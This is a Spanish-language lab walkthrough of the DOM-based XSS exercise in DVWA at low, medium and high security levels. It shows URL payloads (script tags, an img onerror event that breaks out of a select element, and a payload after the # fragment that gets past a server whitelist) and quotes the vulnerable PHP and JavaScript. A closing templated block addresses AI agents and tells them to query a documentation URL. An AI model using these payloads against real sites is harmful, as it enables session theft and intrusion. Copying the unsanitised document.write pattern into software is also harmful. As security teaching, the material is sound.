# Dom

### Bajo <a href="#domlow" id="domlow"></a>

Entramos en la ultima prueba de XSS que es el DOM, en la cual nos encontramos un select

![](/files/-LO_d8_UY3O0GhjrMQI3)

el cual al hacer click nos genera la siguiente url

```
http://localhost/vulnerabilities/xss_d/?default=French
```

Como en el reflejado vamos a vamos a probar el ataque básico de alert en la url a ver que sucede.

```
http://localhost/vulnerabilities/xss_d/?default=French<script>alert("low")</script>
```

Y vemos que el ataque tiene efecto.

![](/files/-LO_d8_W307_okSBVH35)

### Medio <a href="#dommedium" id="dommedium"></a>

Vamos al nivel medio y como siempre empezamos a probar por el ataque mas sencillo y vemos que no funciona.

![](/files/-LO_d8_YyLvlgj90hkJ6)

Si nos fijamos en el código, vemos que usa [stripos](http://php.net/manual/es/function.stripos.php) *que encuentra la posición de la primera aparición de un substring en un string sin considerar mayúsculas ni minúsculas;* por lo que al usar el tag script, nos redirecciona a la url por defecto.

```php
    # Do not allow script tags
    if (stripos ($default, "<script") !== false) {
        header ("location: ?default=English");
        exit;
    }
```

Como hemos visto en otro ejemplo de XSS, vamos a utilizar los eventos de HTML, por lo que probamos la siguiente url

```markup
English<img src=x onerror=alert("medium")>
```

Quedándose como en el anterior caso, pero vamos a inspeccionar el elemento por si sucedió algo.

![](/files/-LO_d8__pBRG_slLanIQ)

Podemos observar que, el código que insertamos en la URL se nos ha metido dentro del option, por lo que tenemos que cerrar el option y el select para que lo escriba fuera.

```markup
English"></option></select><img src=x onerror=alert("medium")>
```

Al hacer esto observamos que la inyección de código a sido exitosa.

![](/files/-LO_d8_bArI3zQntEirN)

### Alto <a href="#domhigh" id="domhigh"></a>

Vamos con el ultimo nivel de XSS, si probamos todos los ataques anteriores vemos que el select ni se entera de que esta pasando.

![](/files/-LO_d8_do1UVrXD7Bo4v)

Si nos fijamos en el código, observamos que comprueba con un switch si es un valor valido.

```php
  switch ($_GET['default']) {
        case "French":
        case "English":
        case "German":
        case "Spanish":
            # ok
            break;
        default:
            header ("location: ?default=English");
            exit;
    }
```

En las URLs existen las anclas que se utilizando usando #. La parte que se se encuentra posterior a la # no se envía al servidor, por lo que no se puede filtrar.

```
http://localhost/vulnerabilities/xss_d/?default=English#dvwa
```

Al probar la anterior url nos encontramos con que se pinta en el select

![](/files/-LO_d8_fZVAS9tR9d5Sm)

Esto es debido a una mala programación del JavaScript que renderiza la página.

```javascript
if (document.location.href.indexOf("default=") >= 0) {
    var lang = document.location.href.substring(document.location.href.indexOf("default=")+8);
    document.write("<option value='" + lang + "'>" + decodeURI(lang) + "</option>");
    document.write("<option value='' disabled='disabled'>----</option>");
}
```

Que como vemos pinta tal cual llega de la URL lo que hay en default, por lo que si ejecutamos la siguiente URL

```
http://localhost/vulnerabilities/xss_d/?default=English#<script>alert("high")</script>
```

Conseguimos realizar el ataque.

![](/files/-LO_d8_hbo9uOI3RZHT4)


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://seguridadweb101.rotasim.com/xss/dom.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
